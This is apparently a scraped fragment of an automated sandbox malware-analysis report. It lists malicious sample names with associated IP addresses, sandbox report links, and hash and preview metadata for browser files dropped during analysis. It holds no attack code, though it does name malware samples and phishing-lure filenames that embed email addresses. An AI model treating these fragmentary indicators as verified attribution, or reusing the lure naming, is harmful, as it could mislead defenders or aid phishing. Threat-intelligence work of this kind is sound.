oHqMFmPndx.exe Get hash malicious Browse 34.119.201.254

Documentation__EG382U8V.doc Get hash malicious Browse 34.67.99.22

#Ud83c#Udfb6 18 November, 2020 Pam.Guetschow@citri
x.com.wavv.htm

Get hash malicious Browse 34.101.72.248

#Ud83c#Udfb6 03 November, 2020 prodriguez@fnbsm.co
m.wavv.htm

Get hash malicious Browse 34.101.72.248

49.120.66.34.bc.googleusercontent.com/osh?
email=bob@microsoft.com

Get hash malicious Browse 34.66.120.49

SecuriteInfo.com.Heur.13242.doc Get hash malicious Browse 34.67.97.45

8845_2020_09_29.doc Get hash malicious Browse 34.67.97.45

QgpyVFbQ7w.exe Get hash malicious Browse 34.65.231.1

qySMTADEjr.exe Get hash malicious Browse 34.65.231.1

SecuriteInfo.com.Trojan.Siggen10.9113.10424.exe Get hash malicious Browse 34.65.231.1

SecuriteInfo.com.Trojan.Siggen10.9265.86.exe Get hash malicious Browse 34.65.231.1

Dlya sverki 13.07.2020.exe Get hash malicious Browse 34.67.67.23

u17mv3Hf1BdS3fQ.exe Get hash malicious Browse 34.66.135.39

Match Associated Sample Name / URL SHA 256 Detection Link Context

9e10692f1b7f78228b2d4e424db3a98c DUcKsYsyX0.dll Get hash malicious Browse 104.20.184.68
151.101.1.44

7eec14e7cec4dc93fbf53e08998b2340.exe Get hash malicious Browse 104.20.184.68
151.101.1.44

RI51uAIUyL.dll Get hash malicious Browse 104.20.184.68
151.101.1.44

L257MJZ0TP.htm Get hash malicious Browse 104.20.184.68
151.101.1.44

brewin-02-02-21 Statement_763108amFtZXMubXV0aW1lcg
==.htm

Get hash malicious Browse 104.20.184.68
151.101.1.44

658908343Bel.html Get hash malicious Browse 104.20.184.68
151.101.1.44

P178979.htm Get hash malicious Browse 104.20.184.68
151.101.1.44

03728d6617cd13b19bd69625f7ead202.exe Get hash malicious Browse 104.20.184.68
151.101.1.44

PO 20191003.exe Get hash malicious Browse 104.20.184.68
151.101.1.44

SecuriteInfo.com.Trojan.GenericKD.36134277.347.exe Get hash malicious Browse 104.20.184.68
151.101.1.44

SecuriteInfo.com.Trojan.PWS.Siggen2.61222.12968.exe Get hash malicious Browse 104.20.184.68
151.101.1.44

ZRz0Aq1Rf0.dll Get hash malicious Browse 104.20.184.68
151.101.1.44

mon44_cr.dll Get hash malicious Browse 104.20.184.68
151.101.1.44

mon41_cr.dll Get hash malicious Browse 104.20.184.68
151.101.1.44

mon4498.dll Get hash malicious Browse 104.20.184.68
151.101.1.44

e888888888.dll Get hash malicious Browse 104.20.184.68
151.101.1.44

658908343Bel.html Get hash malicious Browse 104.20.184.68
151.101.1.44

ASN

JA3 Fingerprints
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https://view.joesandbox.com/analysis/263447/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263447/html/none?idtype=webid
https://view.joesandbox.com/analysis/263442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263442/html/none?idtype=webid
https://view.joesandbox.com/analysis/263390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263390/html/none?idtype=webid
https://view.joesandbox.com/analysis/263334/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263334/html/none?idtype=webid
https://view.joesandbox.com/analysis/263091/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263091/html/none?idtype=webid
https://view.joesandbox.com/analysis/260988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260988/html/none?idtype=webid
https://view.joesandbox.com/analysis/260980/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260980/html/none?idtype=webid
https://view.joesandbox.com/analysis/260829/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260829/html/none?idtype=webid
https://view.joesandbox.com/analysis/260653/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260653/html/none?idtype=webid
https://view.joesandbox.com/analysis/260651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260651/html/none?idtype=webid
https://view.joesandbox.com/analysis/260639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260639/html/none?idtype=webid
https://view.joesandbox.com/analysis/260637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260637/html/none?idtype=webid
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid
https://view.joesandbox.com/analysis/252350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252350/html/none?idtype=webid
https://view.joesandbox.com/analysis/238427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238427/html/none?idtype=webid
https://view.joesandbox.com/analysis/228410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228410/html/none?idtype=webid
https://view.joesandbox.com/analysis/222233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222233/html/none?idtype=webid
https://view.joesandbox.com/analysis/212470/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/212470/html/none?idtype=webid
https://view.joesandbox.com/analysis/212431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/212431/html/none?idtype=webid
https://view.joesandbox.com/analysis/203285/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203285/html/none?idtype=webid
https://view.joesandbox.com/analysis/203283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203283/html/none?idtype=webid
https://view.joesandbox.com/analysis/202692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/202692/html/none?idtype=webid
https://view.joesandbox.com/analysis/202690/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/202690/html/none?idtype=webid
https://view.joesandbox.com/analysis/188983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/188983/html/none?idtype=webid
https://view.joesandbox.com/analysis/186727/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/186727/html/none?idtype=webid
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid
https://view.joesandbox.com/analysis/264762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264762/html/none?idtype=webid
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid
https://view.joesandbox.com/analysis/264624/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264624/html/none?idtype=webid
https://view.joesandbox.com/analysis/264610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264610/html/none?idtype=webid
https://view.joesandbox.com/analysis/264577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264577/html/none?idtype=webid
https://view.joesandbox.com/analysis/264573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264573/html/none?idtype=webid
https://view.joesandbox.com/analysis/264518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264518/html/none?idtype=webid
https://view.joesandbox.com/analysis/264435/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264435/html/none?idtype=webid
https://view.joesandbox.com/analysis/264422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264422/html/none?idtype=webid
https://view.joesandbox.com/analysis/264380/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264380/html/none?idtype=webid
https://view.joesandbox.com/analysis/264338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264338/html/none?idtype=webid
https://view.joesandbox.com/analysis/264263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264263/html/none?idtype=webid
https://view.joesandbox.com/analysis/264262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264262/html/none?idtype=webid
https://view.joesandbox.com/analysis/264261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264261/html/none?idtype=webid
https://view.joesandbox.com/analysis/264257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264257/html/none?idtype=webid
https://view.joesandbox.com/analysis/264224/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264224/html/none?idtype=webid


Invoice due.html Get hash malicious Browse 104.20.184.68
151.101.1.44

One Note celine.wilcox@brewin.co.uk.html Get hash malicious Browse 104.20.184.68
151.101.1.44

#Ud83d#Udcde Herbalife.com AudioMessage_50-74981.htm Get hash malicious Browse 104.20.184.68
151.101.1.44

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\ERGEEV0D\contextual.media[1].xml
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 2621

Entropy (8bit): 4.9541359990302585

Encrypted: false

SSDEEP: 48:0xDixDixD/DixDixDixDiYDiYDiYDiYDIDiYDiyDiyDiyDisDisDisDisDE5DEDP:Y++7+++TTTTETpppffff45If45If45IL

MD5: D3989F8D358C534F9F757F4C10265762

SHA1: D302CD556B0F4ED214436C6F11331BDB6FDBEA8D

SHA-256: B30C4E39E0A77AE8D8D8C2F032B73F59282F976E43564D113B589BFFE39B6B8D

SHA-512: 179AA709EC77E1583B78AC52C14F2940E35B5930354B528479E2C1207A5DA572DDE070444A79AE07FF1E4472C52DB23208D319990DD359A7FAD2C09D7BC64AD3

Malicious: false

Preview:
<root></root><root></root><root><item name="HBCM_BIDS" value="{}" ltime="1930667264" htime="30868516" /></root><root><item name="HBCM_BIDS" value="{}" 
ltime="1930667264" htime="30868516" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1930667264" htime="30868516" /><item name="mntest" value=
"mntest" ltime="1930747264" htime="30868516" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1930667264" htime="30868516" /></root><root><item 
name="HBCM_BIDS" value="{}" ltime="1930667264" htime="30868516" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1930667264" htime="30868516" />
</root><root><item name="HBCM_BIDS" value="{}" ltime="1930947264" htime="30868516" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1930947264" 
htime="30868516" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1930947264" htime="30868516" /></root><root><item name="HBCM_BIDS" value="{}" 
ltime="1930947264" htime="30868516" /><item name="mntest" value="mntest" ltime="1934267264" htim

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\FIQXNZOI\www.msn[1].xml
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit): 2.469670487371862

Encrypted: false

SSDEEP: 3:D90aKb:JFKb

MD5: C1DDEA3EF6BBEF3E7060A1A9AD89E4C5

SHA1: 35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966

SHA-256: B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB

SHA-512: 6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FE
D

Malicious: false

Preview:
<root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{ACE4759D-7017-11EB-90E4-ECF4BB862DED}.dat
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 105256

Entropy (8bit): 2.258552066512421

Encrypted: false

SSDEEP: 768:pvdWdtHsHGHvgHTrgX2FmgXngXGRBgXygX2X7gXNydzgKEyDwSX2XsyDUGXsX2X2:d

MD5: 5B1F836E5052971DB197196DC7D630EC

SHA1: 7BAB541EA2D361C1BE2FD510D7F9527249B846B5

SHA-256: 05B6B213C35F3410E800382E619A619DC3DD600A01685C8419552F01DEB40C2B

SHA-512: C1FC64AE5C257D09E9F2C44FBE97DE8DBE50A0421F3F44FC4BFF6CEEF80A3489A8EC7DA385E11DF30BFDDFC7702992B8D65E7258FAD05A68C535205804226B
A3

Malicious: false

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/264222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264222/html/none?idtype=webid
https://view.joesandbox.com/analysis/264214/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264214/html/none?idtype=webid
https://view.joesandbox.com/analysis/264211/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264211/html/none?idtype=webid


Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.
y.............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{ACE4759D-7017-11EB-90E4-ECF4BB862DED}.dat

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{ACE4759F-7017-11EB-90E4-ECF4BB862DED}.dat
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 196022

Entropy (8bit): 3.581202910893126

Encrypted: false

SSDEEP: 3072:bZ/2BfcYmu5kLTzGttZ/2Bfc/mu5kLTzGt7:C80

MD5: 5874D940D6AD283EAE5631B952E9B736

SHA1: 75D43CDECD3821CE29F53D9A845D459429F953D8

SHA-256: BBFE7CB9A3F8B89CEEB3B0383D41248EFB4D56E2FB00CDB09D00699DDB9D23B3

SHA-512: 7118667F1051371E1A8DD95BE6FFD879D748C7D3D93DCC077CF85F8DB4E0FE061B6B29A829CF30E88A18C030A5C996A9E8F097277EFFA80D77C1596134090B63

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.
y.............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{CBE48855-7017-11EB-90E4-ECF4BB862DED}.dat
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 28692

Entropy (8bit): 1.917926055561921

Encrypted: false

SSDEEP: 96:roZPQYI6O8BStjs2kWrMPl656NbIFpdaTgy6Ju56NbIFpdmer:roZPQF6Hktjs2kWrMPlZKFuT18NKFxr

MD5: A97FA3AC8422EE38DB8C8B8C82831AD1

SHA1: F4A56E84A843DE3BEFDF83A06D5897F9594DD682

SHA-256: EC3714143CE62B1955B1A41776ACC77E4ECEDE3861850922A3D180BCFE4DAD4E

SHA-512: B419795ACA6D42D949D8FF4142918F12EB76FCF19AD16C3B1467D1F6A4E5B5F1A91037B1AAC8AAD9B3C2642C1C3FEF43964E5351789E01029CDEF1632A5D8905

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.
y.............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{CBE48857-7017-11EB-90E4-ECF4BB862DED}.dat
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 28192

Entropy (8bit): 1.9310180606848157

Encrypted: false

SSDEEP: 96:rPZMQK6oBS/5jJ2FWfM/pfIkwP0b/BVjVIkKDkwP0b/B7IA:rPZMQK6okxjJ2FWfM/pfIkJVIkek4A

MD5: F4B722B9116CAD0F5A281A25A1171F8E

SHA1: BDC2B4A145FD725894C222EA3C842704249E250C

SHA-256: 710372C6DA08E27C7BEE38ABC7C114BE18EE6095EC0CABCF011E3E1DADB4E23B

SHA-512: F9BDD9FCA6FB60A279CA55426AC9FA22317C7CEEF47BD6EA0D2826996B9A8E13478540B001FDEA6BD0901857E7968BB86E343D0C9B2E3DEEF3BB9380F2D136
E2

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.
y.............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{CBE48859-7017-11EB-90E4-ECF4BB862DED}.dat
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped
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Size (bytes): 28164

Entropy (8bit): 1.9257478578362441

Encrypted: false

SSDEEP: 96:r+Z0Qo6aSBStjh2QWIMNVpJ0A59VpJH5Y0R4A:r+Z0Qo6aSktjh2QWIMNVH0wVHS0yA

MD5: B325DC6821A9BFFCF0083E5C8C99F470

SHA1: E81284B9517CFDC1FE1544A3C5119A08B12B20EE

SHA-256: E37232AF57FC24D92CEAA2EA097F2669BC3A7722BA2615B5E47B60CBC2DE1A29

SHA-512: 662F87D4EF802A267DDB8FD787B0F7406A5B229319E1E7690C9B35FF298C7FECB006E77FD662A28CA1DB23708E1D8D4D8F783382CF5332D8F62FD514F882A306

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.
y.............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{CBE48859-7017-11EB-90E4-ECF4BB862DED}.dat

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{E1162F71-7017-11EB-90E4-ECF4BB862DED}.dat
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 19032

Entropy (8bit): 1.584294368561031

Encrypted: false

SSDEEP: 48:IwaGcpr3GwpaGG4pQHGrapbSNGQpKtG7HpRBTGIpX2PGApm:reZhQ26bBS3AMTXFyg

MD5: 16BFA4F0EF0A785407718EDDE2085DFD

SHA1: AD02732DC639C38D5D28546EA163454E350979F4

SHA-256: 2805B7A1528279E970A12BA0ABD916CD74AFD424BBBE050BACC8DCB4E3FE4008

SHA-512: D35953A9D2E7B09A2AE10A60AE8DA5CC31EF08149F031248285A51034C9CD13BE3D1F67A7368F15277CF1FD6040394CE66914C64221A2697D1674A7329CDB17C

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.
y.............................................................................................................................................................................................................................................................................
........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 656

Entropy (8bit): 5.114539234404789

Encrypted: false

SSDEEP: 12:TMHdNMNxOEI+y+1nWimI002EtM3MHdNMNxOEI+yvv1nWimI00ObVbkEtMb:2d6NxO2SZHKd6NxODSZ76b

MD5: 4531C4C81F0A02F4D728F38D23805093

SHA1: DFA7D0B6326B92EC7330D009DBB91B0C1ED264E0

SHA-256: 22EA9B305D8EB1A89CA158B6502E31B4606DE11826FFCAE7A7C90A6516EAAC2C

SHA-512: 82861A1F602B6DD853FC4ABBC6A598756894875E9F6A9CF9834F504B778F25D752FCCBAF3D57AFE82CBCCE706B4520AA6580861FE2F35CF2D158D853D382F565

Malicious: false

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x841ac559,0x01d70424</date><
accdate>0x841ac559,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x841ac559,0x01d70424</date><accdate>0
x841c014f,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile
></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 653

Entropy (8bit): 5.138662164197358

Encrypted: false

SSDEEP: 12:TMHdNMNxe2kIInUyInU1nWimI002EtM3MHdNMNxe2kIInUyInU1nWimI00ObkakU:2d6Nxrmy6SZHKd6Nxrmy6SZ7Aa7b

MD5: B143C2BD35755102B777478168692F73

SHA1: 7873687D7D9BF6813714DD97B3F57A049811DF38

SHA-256: 128E398E74C89D45A8F2F6BE4872641B5B33A675D6896F10F23A52AEC1DE909D

SHA-512: 097B8DDA87FDC01D0E03EA85D337B0D29F33AACF2382D3E4F2C688ABD3331FF91EFB0C212859E107964D3FD9CE66A30CADFEE8FC3E199DC98529DFF67FCFF2
59

Malicious: false
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Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x84149148,0x01d70424</date><a
ccdate>0x84149148,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x84149148,0x01d70424</date><a
ccdate>0x84149148,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 662

Entropy (8bit): 5.117458963284581

Encrypted: false

SSDEEP: 12:TMHdNMNxvLIuNyuN1nWimI002EtM3MHdNMNxvLIuNyuN1nWimI00ObmZEtMb:2d6NxvXSZHKd6NxvXSZ7mb

MD5: 61801EC31AD4F15EB71B82ED71989E7F

SHA1: B1A07A46A79B815708B5F5E8F6EACB60E529B22C

SHA-256: 1164995AD711D03014AEA71AE605E04CD78B2D3A5C1C29A8806474251445FB09

SHA-512: 2D7EAFE02DC295262ED18B1CD9C8C3938E7B1EEE45C2AAD1734D2C0FA313CB55704C823EF2403B93554CBCA4FC0A439E7175ED5A33392953C363DF8AAB6FCC
F2

Malicious: false

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x841c50f7,0x01d70424</date>
<accdate>0x841c50f7,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x841c50f7,0x01d70424</date><accda
te>0x841c50f7,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 5.138256216849242

Encrypted: false

SSDEEP: 12:TMHdNMNxiIsys1nWimI002EtM3MHdNMNxiIsys1nWimI00Obd5EtMb:2d6NxcSZHKd6NxcSZ7Jjb

MD5: 1EA0B6C8B478E02E69A9637A586CEE79

SHA1: 55FB60EF5CF91AC4DBAE082B5317A5BD9CB99C5D

SHA-256: 95FE133A0B4AAAE7D178D4656D489FA6E7207E338064689B3AD22423C8ECF30A

SHA-512: 95B3170607AA6480F76CA04F88DFEE96A2D6FF17F5D7B655E35D467CE1E2B52A221A1FBEA565F85449FADD790E92557F2DABF5ACFC122085A455D5CB89E9D27
C

Malicious: false

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x84193b4c,0x01d70424</date><acc
date>0x84193b4c,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml 
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x84193b4c,0x01d70424</date><accdate>0x84193
b4c,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 656

Entropy (8bit): 5.142112101789122

Encrypted: false

SSDEEP: 12:TMHdNMNxhGwIYrUyYrU1nWimI002EtM3MHdNMNxhGwIYrUyYrU1nWimI00Ob8K0z:2d6NxQCrir6SZHKd6NxQCrir6SZ7YKa/

MD5: B6034E0C00DF23E57D59BB999A80D545

SHA1: 38BDE61019E5211DCA51A971848D9E4EB891C9D8

SHA-256: 43BA5EA58102A95B16219FB795B8DFB318CC7EF725D05EC19663641AA90EA079

SHA-512: ECD40147FE4FAC742BCE6B73D0108A4F05FC894902EAE0807912D71FF80AE138D9857872C9558972820B2C94A39F01E42903A345A154C2389787B958EEC6732E

Malicious: false

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x841d8b5c,0x01d70424</date><
accdate>0x841d8b5c,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x841d8b5c,0x01d70424</date><accdate>0
x841d8b5c,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/>
</tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe
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File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 653

Entropy (8bit): 5.12276386035493

Encrypted: false

SSDEEP: 12:TMHdNMNx0nI+y+1nWimI002EtM3MHdNMNx0nI+y+1nWimI00ObxEtMb:2d6Nx0LSZHKd6Nx0LSZ7nb

MD5: 23726D7AE2A223FEAE6B381A6BCE6379

SHA1: 64383394872D035CD93D546581F4F3C47FDEA45F

SHA-256: EA919D3C1EE48C6811A31ECD448CF5C6A1EC0EECFFF75C22C451EF22A54CA9F8

SHA-512: 99D7DAA887C817A6D75BC5C1B85456D9613705A02C654D878D2BED841C3EB757213169ED4A24BC160F7750F1E1D345DDDEF2B0DA923A1D44AACC55E8BD62BC
1F

Malicious: false

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x841ac559,0x01d70424</date><a
ccdate>0x841ac559,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x841ac559,0x01d70424</date><accdate>0x8
41ac559,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-8760897390\msapplication.xml

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 656

Entropy (8bit): 5.166793806087406

Encrypted: false

SSDEEP: 12:TMHdNMNxxIsys1nWimI002EtM3MHdNMNxxIsyrdE1nWimI00Ob6Kq5EtMb:2d6NxdSZHKd6NxSKSZ7ob

MD5: E69617AC3CE6838B4C457C1B359EC107

SHA1: 1F42974A9717D9C3390879A02E48BC2CFA8C1F0B

SHA-256: 543973FB695610BDD31B762433E66923055F59CAD65BA5A1935A3988CB4D4127

SHA-512: 53E5919CE8490CEDF74B39FE4151EF7593C05EF3DB13C081AB7BBE94382FA364459FAF8E7941D8AA0FBCBC634ABAB26E027CE295B96354BDC7E109A2D4509D
6D

Malicious: false

Preview:
<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x84193b4c,0x01d70424</date><
accdate>0x84193b4c,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x84193b4c,0x01d70424</date><accdate>0
x841a7582,0x01d70424</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/>
</tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml
Process: C:\Program Files\internet explorer\iexplore.exe

File Type: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 659

Entropy (8bit): 5.123036287347793

Encrypted: false

SSDEEP: 12:TMHdNMNxcIbyb1nWimI002EtM3MHdNMNxcIbyb1nWimI00ObVEtMb:2d6NxQSZHKd6NxQSZ7Db

MD5: A4F1845EA0F39988ADCA408408A04990

SHA1: A80C7DE09AB4614183DE2032ECE8455817B80247

SHA-256: 4FB20CB04AC26521018597B46F548C90734E2B3CC67C8CDF57E31915AB595422

SHA-512: 61762B4A68A67175122248C663FBF8B72FCAAD9DE20B9C34B17E3559FE8FBF04AC5E857A70093B79F9965687AFB0664686DA71E0943797CFDB6FE90BBF108E1C

